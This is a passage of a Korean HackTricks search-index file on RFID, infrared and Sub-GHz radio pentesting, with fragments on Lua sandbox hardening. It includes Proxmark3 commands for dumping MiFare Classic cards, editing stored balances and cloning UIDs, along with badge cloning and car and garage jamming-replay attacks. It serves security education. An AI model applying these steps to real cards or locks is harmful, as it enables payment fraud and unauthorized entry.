단거리 무선 솔루션이다. 일반적으로 엔티티를 식별하는 정보를 저장하고 전송하는 데 사용된다. RFID 태그는 its own power source (active) (예: 내장 배터리)에 의존할 수 있거나, 리더 안테나로부터 수신된 전파에서 induced from the received radio waves 를 사용해 전원을 공급받는 ( passive ) 방식일 수 있다.","breadcrumbs":"Radio Hacking » Pentesting RFID » 소개","id":"10327","title":"소개"},"10328":{"body":"EPCglobal은 RFID 태그를 여섯 가지 범주로 나눈다. 각 범주의 태그는 이전 범주에 나열된 모든 기능을 포함하므로 하위 호환된다. Class 0 태그는 passive 태그로 UHF 대역에서 동작한다. 제조 공장에서 벤더가 preprograms 한다. 결과적으로 메모리에 저장된 정보를 변경할 수 없다 . Class 1 태그는 HF 대역에서도 동작할 수 있다. 또한 생산 후 한 번만 쓸 수 있다 . 많은 Class 1 태그는 수신한 명령의 cyclic redundancy checks (CRCs)를 처리할 수도 있다. CRC는 에러 검출을 위한 명령 끝부분의 몇 바이트다. Class 2 태그는 여러 번 기록할 수 있다 . Class 3 태그는 현재 온도나 태그의 동작과 같은 환경 변수를 기록할 수 있는 embedded sensors 를 포함할 수 있다. 이러한 태그는 semi-passive 인데, 내장된 전원(예: 통합 battery )은 있지만 무선 communication 을 다른 태그나 리더와 initiate 할 수는 없다. Class 4 태그는 동일 클래스의 다른 태그와 통신을 시작할 수 있어 active tags 가 된다. Class 5 태그는 power to other tags and communicate with all the previous tag 클래스들과 통신할 수 있다. Class 5 태그는 RFID readers 로 동작할 수 있다.","breadcrumbs":"Radio Hacking » Pentesting RFID » Classes","id":"10328","title":"Classes"},"10329":{"body":"RFID 태그의 메모리는 보통 네 가지 종류의 데이터를 저장한다: 태그가 부착된 엔티티를 identifies 하는 identification data (이 데이터에는 은행 계좌와 같은 사용자 정의 필드 포함); 엔티티에 대한 추가 정보를 제공하는 supplementary data ; 태그의 내부 configuration 에 사용되는 control data ; 그리고 태그의 Unique Identifier( UID )와 생산, 타입, 벤더에 관한 정보를 포함하는 manufacturer data . 상업용 태그에서는 첫 두 종류의 데이터를 모두 찾을 수 있고, 마지막 두 종류는 태그 벤더에 따라 다를 수 있다. ISO 표준은 태그가 속한 kind of object 를 나타내는 코드인 Application Family Identifier( AFI ) 값을 명시한다. ISO에서 규정한 또 다른 중요한 레지스터로는 사용자 데이터의 logical organization 을 정의하는 Data Storage Format Identifier( DSFID )가 있다. 대부분의 RFID security controls 는 각 사용자 메모리 블록과 AFI 및 DSFID 값을 포함하는 특별 레지스터에 대한 read 또는 write 연산을 restrict 하는 메커니즘을 가지고 있다. 이러한 lock mechanisms 은 제어 메모리에 저장된 데이터를 사용하며 벤더가 사전 구성한 default passwords 를 가지고 있지만 태그 소유자가 custom passwords 를 구성할 수 있도록 허용한다.","breadcrumbs":"Radio Hacking » Pentesting RFID » RFID 태그에 저장되는 정보","id":"10329","title":"RFID 태그에 저장되는 정보"},"1033":{"body":"Server side: 사용자 스크립트를 거부하거나 재작성; 안전한 API를 allowlist; io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi를 제거하거나 빈 바인딩으로 대체. Client side: 최소화된 _ENV로 Lua 실행; bytecode loading 금지; 엄격한 bytecode verifier 또는 서명 검사 재도입; 클라이언트 프로세스에서의 프로세스 생성 차단. Telemetry: script load 직후 gameclient → 자식 프로세스 생성에 대해 경보; UI/chat/script 이벤트와 상관관계 분석.","breadcrumbs":"Lua Sandbox Escape » 탐지 및 강화 노트 (수비자용)","id":"1033","title":"탐지 및 강화 노트 (수비자용)"},"10330":{"body":"","breadcrumbs":"Radio Hacking » Pentesting RFID » Low & High frequency tags 비교","id":"10330","title":"Low & High frequency tags 비교"},"10331":{"body":"Low-frequency tags 는 보통 high security 를 요구하지 않는 시스템에서 자주 사용된다: 건물 출입, 인터폰 키, 헬스장 멤버십 카드 등. 더 긴 범위 때문에 유료 주차 시스템에 편리하게 쓰이기도 한다: 운전자가 카드나 태그를 리더에 가까이 대지 않아도 멀리서 트리거된다. 동시에 low-frequency 태그는 매우 원시적이고 낮은 데이터 전송 속도를 가진다. 따라서 잔액 관리나 암호화 같은 복잡한 양방향 데이터 전송을 구현하는 것은 불가능하다. Low-frequency 태그는 인증 수단 없이 짧은 ID만 전송한다. 이 장치들은 passive RFID 기술에 의존하며 30 kHz ~ 300 kHz 범위에서 동작하지만 보통은 125 kHz ~ 134 kHz 를 사용한다: Long Range — 낮은 주파수는 더 긴 범위를 의미한다. EM-Marin 및 HID 리더와 같이 약 1미터 거리까지 동작하는 제품들이 있다. 이러한 제품은 주차장에 자주 사용된다. Primitive protocol — 낮은 데이터 전송률 때문에 이 태그들은 짧은 ID만 전송할 수 있다. 대부분의 경우 데이터는 인증되지 않으며 어떠한 방식으로도 보호되지 않는다. 카드가 리더의 범위 안에 들어오면 단순히 ID를 전송하기 시작한다. Low security — 이 카드들은 프로토콜의 단순성 때문에 쉽게 복제되거나, 심지어 다른 사람의 주머니에서 읽힐 수도 있다. Popular 125 kHz protocols: EM-Marin — EM4100, EM4102. CIS 지역에서 가장 인기 있는 프로토콜. 단순성과 안정성 때문에 약 1미터 거리에서 읽을 수 있다. HID Prox II — HID Global에서 도입한 low-frequency 프로토콜. 서구권에서 더 인기가 있다. 더 복잡하며 이 프로토콜 용 카드와 리더는 비교적 비싸다. Indala — Motorola가 도입했고 이후 HID가 인수한 매우 오래된 low-frequency 프로토콜. 이전 두 프로토콜에 비해 사용 빈도는 떨어지고 있다. 실제로는 더 많은 low-frequency 프로토콜이 존재하지만 모두 물리 계층에서 동일한 변조를 사용하며 위에 열거된 프로토콜들의 변형으로 볼 수 있다.","breadcrumbs":"Radio Hacking » Pentesting RFID » Low-Frequency RFID Tags (125kHz)","id":"10331","title":"Low-Frequency RFID Tags (125kHz)"},"10332":{"body":"이 태그들은 Flipper Zero로 attack 할 수 있다: FZ - 125kHz RFID","breadcrumbs":"Radio Hacking » Pentesting RFID » 공격","id":"10332","title":"공격"},"10333":{"body":"High-frequency tags 는 cryptography, 대용량 양방향 데이터 전송, 인증 등이 필요할 때 리더-태그 간 더 복잡한 상호작용을 위해 사용된다. 은행 카드, 대중교통, 기타 보안 패스에서 주로 볼 수 있다. High-frequency 13.56 MHz tags are a set of standards and protocols . 이들은 보통 NFC 라고 불리지만 항상 정확한 명칭은 아니다. 물리 및 논리 수준에서 사용되는 기본 프로토콜 세트는 ISO 14443 이다. 고수준 프로토콜과 대체 표준(예: ISO 19092)은 이것을 기반으로 한다. 많은 사람이 이 기술을 13.56 MHz 대역에서 동작하는 장치들을 가리키는 용어인 Near Field Communication (NFC) 으로 부른다. 간단히 말해, NFC의 아키텍처는 다음과 같다: 전송 프로토콜은 카드를 만드는 회사가 선택하고 낮은 수준의 ISO 14443에 기반해 구현된다. 예를 들어 NXP는 Mifare라는 자체 고수준 전송 프로토콜을 발명했다. 그러나 낮은 수준에서는 Mifare 카드는 ISO 14443-A 표준을 기반으로 한다. Flipper는 낮은 수준의 ISO 14443 프로토콜뿐 아니라 Mifare Ultralight 데이터 전송 프로토콜과 은행 카드에서 사용되는 EMV와도 상호작용할 수 있다. 우리는 Mifare Classic 및 NFC NDEF에 대한 지원 추가 작업을 진행 중이다. NFC를 구성하는 프로토콜과 표준을 철저히 살펴보는 것은 별도의 글이 필요하며 추후 공개할 예정이다. ISO 14443-A 표준을 기반으로 하는 모든 고주파 카드에는 고유한 칩 ID가 있다. 이는 네트워크 카드의 MAC 주소처럼 카드의 시리얼 번호 역할을 한다. 보통 UID는 4 또는 7 바이트 길이 이지만 드물게 최대 10 바이트 까지 올 수 있다. UID는 비밀이 아니며 쉽게 읽을 수 있고, 때로는 카드 자체에 인쇄되어 있기도 하다 . 많은 출입 통제 시스템이 UID에 의존해 authenticate and grant access 한다. 때로는 RFID 태그가 cryptography 를 지원하더라도 이런 방식이 사용된다. 이러한 misuse 는 보안 측면에서 해당 시스템을 단순한 125 kHz 카드 수준으로 떨어뜨린다. Virtual cards(예: Apple Pay)는 동적 UID를 사용하여 전화 소유자가 결제 앱으로 문을 열지 못하도록 한다. Low range — 고주파 카드는 리더에 가깝게 배치해야 하도록 설계되어 있다. 이것은 무단 상호작용으로부터 카드를 보호하는 데 도움이 된다. 우리가 달성한 최대 읽기 범위는 약 15 cm였으며, 이는 맞춤형 고범위 리더를 사용했을 때였다. Advanced protocols — 최대 424 kbps의 데이터 전송 속도는 완전한 양방향 데이터 전송이 가능한 복잡한 프로토콜을 허용한다. 이는 결과적으로 cryptography , 데이터 전송 등 을 가능하게 한다. High security — 고주파 비접촉 카드들은 스마트 카드에 전혀 뒤지지 않는다. AES와 같은 강력한 암호 알고리즘을 지원하고 비대칭 암호화를 구현하는 카드들도 있다.","breadcrumbs":"Radio Hacking » Pentesting RFID » High-Frequency RFID Tags (13.56 MHz)","id":"10333","title":"High-Frequency RFID Tags (13.56 MHz)"},"10334":{"body":"이 태그들은 Flipper Zero로 attack 할 수 있다: FZ - NFC 또는 proxmark 를 사용하여: Proxmark 3","breadcrumbs":"Radio Hacking » Pentesting RFID » 공격","id":"10334","title":"공격"},"10335":{"body":"시스템이 MiFare Classic 카드에 직접 금전 잔액을 저장하는 경우, Classic은 NXP의 더 이상 사용되지 않는 Crypto1 암호를 사용하므로 종종 조작할 수 있다. Crypto1은 수년 전부터 깨져 있었고, sector keys 복구와 카드 메모리의 완전한 읽기/쓰기가 commodity 하드웨어(예: Proxmark3)로 가능하다. End-to-end workflow (abstracted): 원본 카드를 덤프하고 키를 복구한다 bash # Attempt all built-in Classic key recovery attacks and dump the card\\nhf mf autopwn This typically recovers sector keys (A/B) and generates a full-card dump in the client dumps folder. 값/무결성 필드 찾기 및 이해 원본 카드에 정상적인 top-ups를 수행하고 여러 번의 dumps(이전/이후)를 찍는다. 두 dumps의 diff를 수행하여 잔액과 무결성 필드를 나타내는 변경되는 블록/바이트를 식별한다. 많은 Classic 배포판은 네이티브 \\"value block\\" 인코딩을 사용하거나 자체 checksums(예: 잔액을 다른 필드와 상수로 XOR)을 구현한다. 잔액을 변경한 후에는 무결성 바이트를 재계산하고, 복제/보수된 모든 필드가 일관되도록 확인한다. 수정된 dump를 쓰기 가능한 “Chinese magic” Classic 태그에 기록한다 bash # Load a modified binary dump onto a UID-changeable Classic tag\\nhf mf cload -f modified.bin 원본 UID를 Clone하여 터미널이 카드를 인식하도록 bash # Set the UID on a UID-changeable tag (gen1a/gen2 magic)\\nhf mf csetuid -u 단말기에서 사용 카드 내 잔액과 UID를 신뢰하는 리더는 조작된 카드를 수용한다. 현장 관찰 결과 많은 배포 환경에서 필드 폭을 기준으로 잔액을 한계값으로 제한하는 경우가 있다(예: 16-bit fixed-point). Notes 시스템이 native Classic value blocks를 사용한다면 형식을 기억하라: value (4B) + ~value (4B) + value (4B) + block address + ~address. 모든 부분이 일치해야 한다. 간단한 체크섬을 사용하는 커스텀 포맷의 경우, differential analysis가 펌웨어를 리버스하지 않고 무결성 함수를 도출하는 가장 빠른 방법이다. block 0/UID 쓰기가 가능한 것은 UID 변경 가능한 태그(\\"Chinese magic\\" gen1a/gen2)뿐이다. 일반 Classic 카드는 읽기 전용 UID를 가진다. 실습용 Proxmark3 명령어는 다음을 참조: Proxmark 3","breadcrumbs":"Radio Hacking » Pentesting RFID » MiFare Classic offline stored-value tampering (broken Crypto1)","id":"10335","title":"MiFare Classic offline stored-value tampering (broken Crypto1)"},"10336":{"body":"레드팀 활동 중 HID Prox® 배지를 수집하기 위해 장거리 , 배터리 구동 솔루션이 필요하다면 벽걸이형 HID MaxiProx 5375 리더를 배낭에 들어가는 독립형 클로너로 개조할 수 있다. 전체 기계적 및 전기적 실무 안내는 다음에서 확인할 수 있다: Maxiprox Mobile Cloner","breadcrumbs":"Radio Hacking » Pentesting RFID » 휴대용 HID MaxiProx 125 kHz 모바일 클로너 제작","id":"10336","title":"휴대용 HID MaxiProx 125 kHz 모바일 클로너 제작"},"10337":{"body":"https://blog.flipperzero.one/rfid/ Let\'s Clone a Cloner – Part 3 (TrustedSec) NXP statement on MIFARE Classic Crypto1 MIFARE security overview (Wikipedia) NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult) tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Pentesting RFID » 참고자료","id":"10337","title":"참고자료"},"10338":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Infrared » 적외선","id":"10338","title":"적외선"},"10339":{"body":"적외선은 인간에게 보이지 않습니다 . IR 파장은 0.7에서 1000 마이크론 입니다. 가정용 리모컨은 데이터 전송을 위해 IR 신호를 사용하며, 0.75..1.4 마이크론의 파장 범위에서 작동합니다. 리모컨의 마이크로컨트롤러는 특정 주파수로 적외선 LED를 깜박이게 하여 디지털 신호를 IR 신호로 변환합니다. IR 신호를 수신하기 위해 포토리시버 가 사용됩니다. 이는 IR 빛을 전압 펄스로 변환 하며, 이는 이미 디지털 신호 입니다. 일반적으로 수신기 내부에는 어두운 빛 필터 가 있어 원하는 파장만 통과 시키고 잡음을 차단합니다.","breadcrumbs":"Radio Hacking » Infrared » 적외선 작동 원리","id":"10339","title":"적외선 작동 원리"},"1034":{"body":"This House is Haunted: a decade old RCE in the AION client (housing Lua VM) Bytecode Breakdown: Unraveling Factorio\'s Lua Security Flaws lua-l (2009): Discussion on dropping the bytecode verifier Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes) tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Lua Sandbox Escape » References","id":"1034","title":"References"},"10340":{"body":"IR 프로토콜은 3가지 요소에서 다릅니다: 비트 인코딩 데이터 구조 반송 주파수 — 일반적으로 36..38 kHz 범위 비트 인코딩 방식 1. 펄스 간격 인코딩 비트는 펄스 간의 간격 지속 시간을 변조하여 인코딩됩니다. 펄스 자체의 너비는 일정합니다. 2. 펄스 폭 인코딩 비트는 펄스 폭의 변조로 인코딩됩니다. 펄스 폭 후의 간격 너비는 일정합니다. 3. 위상 인코딩 맨체스터 인코딩으로도 알려져 있습니다. 논리 값은 펄스 폭과 간격 사이의 전환의 극성에 의해 정의됩니다. \\"간격에서 펄스 폭으로\\"는 논리 \\"0\\"을 나타내고, \\"펄스 폭에서 간격으로\\"는 논리 \\"1\\"을 나타냅니다. 4. 이전 방식과 기타 이국적인 조합 tip 여러 종류의 장치에 대해 보편적이 되려고 하는 IR 프로토콜이 있습니다. 가장 유명한 것은 RC5와 NEC입니다. 불행히도, 가장 유명하다고 해서 가장 일반적이라는 의미는 아닙니다. 제 환경에서는 NEC 리모컨 두 개만 보았고 RC5는 없었습니다. 제조업체는 동일한 장치 범위 내에서도 고유한 IR 프로토콜을 사용하는 것을 좋아합니다 (예: TV 박스). 따라서 서로 다른 회사의 리모컨이나 때로는 동일한 회사의 서로 다른 모델의 리모컨은 동일한 유형의 다른 장치와 작동할 수 없습니다.","breadcrumbs":"Radio Hacking » Infrared » 다양한 IR 프로토콜","id":"10340","title":"다양한 IR 프로토콜"},"10341":{"body":"리모컨의 IR 신호가 어떻게 생겼는지 확인하는 가장 신뢰할 수 있는 방법은 오실로스코프를 사용하는 것입니다. 이는 수신된 신호를 복조하거나 반전하지 않고 \\"있는 그대로\\" 표시합니다. 이는 테스트 및 디버깅에 유용합니다. NEC IR 프로토콜의 예를 통해 예상 신호를 보여드리겠습니다. 일반적으로 인코딩된 패킷의 시작 부분에는 프리앰블이 있습니다. 이는 수신기가 이득 수준과 배경을 결정할 수 있게 해줍니다. 프리앰블이 없는 프로토콜도 있으며, 예를 들어 Sharp가 있습니다. 그런 다음 데이터가 전송됩니다. 구조, 프리앰블 및 비트 인코딩 방법은 특정 프로토콜에 의해 결정됩니다. NEC IR 프로토콜 은 짧은 명령과 반복 코드를 포함하며, 버튼이 눌리는 동안 전송됩니다. 명령과 반복 코드 모두 시작 부분에 동일한 프리앰블을 가지고 있습니다. NEC 명령 은 프리앰블 외에도 장치가 수행해야 할 작업을 이해할 수 있도록 주소 바이트와 명령 번호 바이트로 구성됩니다. 주소 및 명령 번호 바이트는 전송의 무결성을 확인하기 위해 역값으로 중복됩니다. 명령의 끝에는 추가적인 정지 비트가 있습니다. 반복 코드 는 프리앰블 뒤에 \\"1\\"이 있으며, 이는 정지 비트입니다. **논리 \\"0\\"과 \\"1\\"**에 대해 NEC는 펄스 간격 인코딩을 사용합니다: 먼저 펄스 폭이 전송된 후 그 뒤에 간격이 있으며, 그 길이가 비트의 값을 설정합니다.","breadcrumbs":"Radio Hacking » Infrared » IR 신호 탐색","id":"10341","title":"IR 신호 탐색"},"10342":{"body":"다른 리모컨과 달리 에어컨은 눌린 버튼의 코드만 전송하지 않습니다 . 버튼이 눌리면 모든 정보를 전송 하여 에어컨과 리모컨이 동기화되도록 합니다. 이렇게 하면 20ºC로 설정된 기계가 한 리모컨으로 21ºC로 증가하고, 이후 20ºC로 설정된 다른 리모컨을 사용하여 온도를 더 높이면 21ºC로 \\"증가\\"하게 됩니다 (21ºC에 있다고 생각하고 22ºC로 증가하지 않음).","breadcrumbs":"Radio Hacking » Infrared » 에어컨","id":"10342","title":"에어컨"},"10343":{"body":"Flipper Zero로 적외선을 공격할 수 있습니다: FZ - Infrared","breadcrumbs":"Radio Hacking » Infrared » 공격 및 공격적 연구","id":"10343","title":"공격 및 공격적 연구"},"10344":{"body":"최근의 학술 연구(EvilScreen, 2022)는 적외선과 블루투스 또는 Wi-Fi를 결합한 다채널 리모컨이 현대 스마트-TV를 완전히 탈취하는 데 악용될 수 있음을 보여주었습니다 . 이 공격은 높은 권한의 IR 서비스 코드를 인증된 블루투스 패킷과 연결하여 채널 격리를 우회하고 임의의 앱 실행, 마이크 활성화 또는 물리적 접근 없이 공장 초기화를 허용합니다. 삼성 모델을 포함한 8개의 주요 TV가 취약한 것으로 확인되었습니다. 완화 조치는 공급업체의 펌웨어 수정 또는 사용하지 않는 IR 수신기를 완전히 비활성화하는 것을 요구합니다.","breadcrumbs":"Radio Hacking » Infrared » 스마트-TV / 셋톱 박스 탈취 (EvilScreen)","id":"10344","title":"스마트-TV / 셋톱 박스 탈취 (EvilScreen)"},"10345":{"body":"보안 카메라, 라우터 또는 악성 USB 스틱은 종종 야간 시야 IR LED 를 포함합니다. 연구에 따르면 맬웨어는 이러한 LED를 변조하여 (<10–20 kbit/s로 간단한 OOK) 벽과 창을 통해 비밀을 외부 카메라로 유출 할 수 있습니다. 빛이 가시 스펙트럼 밖에 있기 때문에 운영자는 거의 알아차리지 못합니다. 대응 조치: 민감한 지역에서 IR LED를 물리적으로 차폐하거나 제거 카메라 LED 듀티 사이클 및 펌웨어 무결성 모니터링 창문 및 감시 카메라에 IR 컷 필터 배치 공격자는 강력한 IR 프로젝터를 사용하여 명령을 침투 시켜 불안전한 카메라로 데이터를 플래시할 수 있습니다.","breadcrumbs":"Radio Hacking » Infrared » IR LED를 통한 공기 간섭 데이터 유출 (aIR-Jumper 패밀리)","id":"10345","title":"IR LED를 통한 공기 간섭 데이터 유출 (aIR-Jumper 패밀리)"},"10346":{"body":"펌웨어 1.0(2024년 9월)은 수십 개의 추가 IR 프로토콜 및 선택적 외부 증폭기 모듈 을 추가했습니다. 범용 리모컨 무차별 대입 모드와 결합하여 Flipper는 최대 30m 거리에서 고출력 다이오드를 사용하여 대부분의 공공 TV/에어컨을 비활성화하거나 재구성할 수 있습니다.","breadcrumbs":"Radio Hacking » Infrared » Flipper Zero 1.0을 통한 장거리 무차별 대입 및 확장 프로토콜","id":"10346","title":"Flipper Zero 1.0을 통한 장거리 무차별 대입 및 확장 프로토콜"},"10347":{"body":"","breadcrumbs":"Radio Hacking » Infrared » 도구 및 실용적인 예","id":"10347","title":"도구 및 실용적인 예"},"10348":{"body":"Flipper Zero – 학습, 재생 및 사전 공격 모드를 갖춘 휴대용 송수신기(위 참조). Arduino / ESP32 + IR LED / TSOP38xx 수신기 – 저렴한 DIY 분석기/송신기. Arduino-IRremote 라이브러리와 결합 (v4.x는 >40 프로토콜 지원). 로직 분석기 (Saleae/FX2) – 프로토콜이 알려지지 않았을 때 원시 타이밍 캡처. IR 블래스터가 있는 스마트폰 (예: Xiaomi) – 빠른 현장 테스트지만 제한된 범위.","breadcrumbs":"Radio Hacking » Infrared » 하드웨어","id":"10348","title":"하드웨어"},"10349":{"body":"Arduino-IRremote – 적극적으로 유지 관리되는 C++ 라이브러리: cpp #include \\nIRsend sender;\\nvoid setup(){ sender.begin(); }\\nvoid loop(){\\nsender.sendNEC(0x20DF10EF, 32); // 삼성 TV 전원\\ndelay(5000);\\n} IRscrutinizer / AnalysIR – 원시 캡처를 가져오고 프로토콜을 자동으로 식별 + Pronto/Arduino 코드를 생성하는 GUI 디코더. LIRC / ir-keytable (Linux) – 명령줄에서 IR 수신 및 주입: bash sudo ir-keytable -p nec,rc5 -t # 실시간 덤프 디코드된 스캔 코드\\nirsend SEND_ONCE samsung KEY_POWER","breadcrumbs":"Radio Hacking » Infrared » 소프트웨어","id":"10349","title":"소프트웨어"},"1035":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Archive Extraction Path Traversal » Archive Extraction Path Traversal (\\"Zip-Slip\\" / WinRAR CVE-2025-8088)","id":"1035","title":"Archive Extraction Path Traversal (\\"Zip-Slip\\" / WinRAR CVE-2025-8088)"},"10350":{"body":"필요하지 않을 때 공공 장소에 배치된 장치의 IR 수신기를 비활성화하거나 덮습니다. 스마트-TV와 리모컨 간의 페어링 또는 암호화 검사를 시행하고, 특권 \\"서비스\\" 코드를 격리합니다. 기밀 지역 주변에 IR 컷 필터 또는 연속파 감지기를 배치하여 광학 은밀 채널을 차단합니다. 제어 가능한 IR LED를 노출하는 카메라/IoT 기기의 펌웨어 무결성을 모니터링합니다.","breadcrumbs":"Radio Hacking » Infrared » 방어 조치","id":"10350","title":"방어 조치"},"10351":{"body":"Flipper Zero 적외선 블로그 게시물 EvilScreen: 리모컨 모방을 통한 스마트 TV 탈취 (arXiv 2210.03014) tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Infrared » 참고 문헌","id":"10351","title":"참고 문헌"},"10352":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Sub-GHz RF » Sub-GHz RF","id":"10352","title":"Sub-GHz RF"},"10353":{"body":"차고 문 개폐기는 일반적으로 300-190 MHz 범위의 주파수에서 작동하며, 가장 일반적인 주파수는 300 MHz, 310 MHz, 315 MHz 및 390 MHz입니다. 이 주파수 범위는 다른 주파수 대역보다 혼잡하지 않기 때문에 차고 문 개폐기에 일반적으로 사용됩니다.","breadcrumbs":"Radio Hacking » Sub-GHz RF » Garage Doors","id":"10353","title":"Garage Doors"},"10354":{"body":"대부분의 자동차 키 폼은 315 MHz 또는 433 MHz 에서 작동합니다. 이 두 주파수는 모두 라디오 주파수이며, 다양한 응용 프로그램에서 사용됩니다. 두 주파수의 주요 차이점은 433 MHz가 315 MHz보다 더 긴 범위를 가진다는 것입니다. 이는 433 MHz가 원격 키리스 진입과 같이 더 긴 범위가 필요한 응용 프로그램에 더 적합하다는 것을 의미합니다. 유럽에서는 433.92MHz가 일반적으로 사용되며, 미국과 일본에서는 315MHz가 사용됩니다.","breadcrumbs":"Radio Hacking » Sub-GHz RF » Car Doors","id":"10354","title":"Car Doors"},"10355":{"body":"각 코드를 5번 보내는 대신 (수신자가 수신하도록 하기 위해 이렇게 전송됨) 한 번만 보내면 시간이 6분으로 줄어듭니다: 그리고 신호 사이의 2ms 대기 시간을 제거하면 시간을 3분으로 줄일 수 있습니다. 또한, De Bruijn Sequence를 사용하면 (모든 잠재적인 이진 숫자를 브루트포스하기 위해 필요한 비트 수를 줄이는 방법) 이 시간이 단 8초로 줄어듭니다 : 이 공격의 예는 https://github.com/samyk/opensesame 에서 구현되었습니다. 프리앰블이 필요하면 De Bruijn Sequence 최적화를 피할 수 있으며, 롤링 코드는 이 공격을 방지합니다 (코드가 브루트포스할 수 없을 만큼 충분히 길다고 가정할 때).","breadcrumbs":"Radio Hacking » Sub-GHz RF » Brute-force Attack","id":"10355","title":"Brute-force Attack"},"10356":{"body":"이 신호를 Flipper Zero로 공격하려면 확인하십시오: FZ - Sub-GHz","breadcrumbs":"Radio Hacking » Sub-GHz RF » Sub-GHz Attack","id":"10356","title":"Sub-GHz Attack"},"10357":{"body":"자동 차고 문 개폐기는 일반적으로 차고 문을 열고 닫기 위해 무선 원격 제어 장치를 사용합니다. 원격 제어 장치는 라디오 주파수(RF) 신호 를 차고 문 개폐기로 전송하여 모터를 활성화하여 문을 열거나 닫습니다. 누군가 코드 그래버라는 장치를 사용하여 RF 신호를 가로채고 나중에 사용할 수 있도록 기록할 수 있습니다. 이를 재전송 공격 이라고 합니다. 이러한 유형의 공격을 방지하기 위해 많은 현대 차고 문 개폐기는 롤링 코드 시스템이라는 보다 안전한 암호화 방법을 사용합니다. RF 신호는 일반적으로 롤링 코드를 사용하여 전송되며 , 이는 코드가 매번 사용될 때마다 변경된다는 것을 의미합니다. 이는 누군가가 신호를 가로채고 이를 사용하여 차고에 무단 접근 하는 것을 어렵게 만듭니다. 롤링 코드 시스템에서는 원격 제어 장치와 차고 문 개폐기가 공유 알고리즘 을 가지고 있어 원격 제어가 사용될 때마다 새로운 코드를 생성 합니다. 차고 문 개폐기는 올바른 코드 에만 반응하므로 누군가가 코드를 캡처하여 차고에 무단으로 접근하는 것이 훨씬 더 어렵습니다.","breadcrumbs":"Radio Hacking » Sub-GHz RF » Rolling Codes Protection","id":"10357","title":"Rolling Codes Protection"},"10358":{"body":"기본적으로 버튼을 듣고 원격 제어가 장치의 범위를 벗어났을 때 신호를 캡처 합니다 (예: 자동차나 차고). 그런 다음 장치로 이동하여 캡처한 코드를 사용하여 열 수 있습니다 .","breadcrumbs":"Radio Hacking » Sub-GHz RF » Missing Link Attack","id":"10358","title":"Missing Link Attack"},"10359":{"body":"공격자는 차량이나 수신기 근처에서 신호를 방해 하여 수신기가 실제로 코드를 ‘듣지 못하게 할 수 있으며, 그렇게 되면 방해를 중지했을 때 코드를 캡처하고 재전송 할 수 있습니다. 피해자는 어느 시점에서 차를 잠그기 위해 키를 사용할 것 이지만, 공격자는 \\"문 닫기\\" 코드 를 충분히 기록했을 것이며, 이를 재전송하여 문을 열 수 있습니다 (차량이 열고 닫기 위해 동일한 코드를 사용하지만 서로 다른 주파수에서 두 명령을 듣는 차량이 있을 수 있으므로 주파수 변경이 필요할 수 있습니다 ). warning 방해는 작동하지만 , 차를 잠그는 사람이 단순히 문을 테스트 하여 잠금이 되어 있는지 확인하면 차가 잠기지 않았다는 것을 알 수 있습니다. 또한, 그들이 이러한 공격을 인지하고 있다면, 문이 잠기는 소리 가 나지 않거나 차량의 불빛 이 잠금 버튼을 눌렀을 때 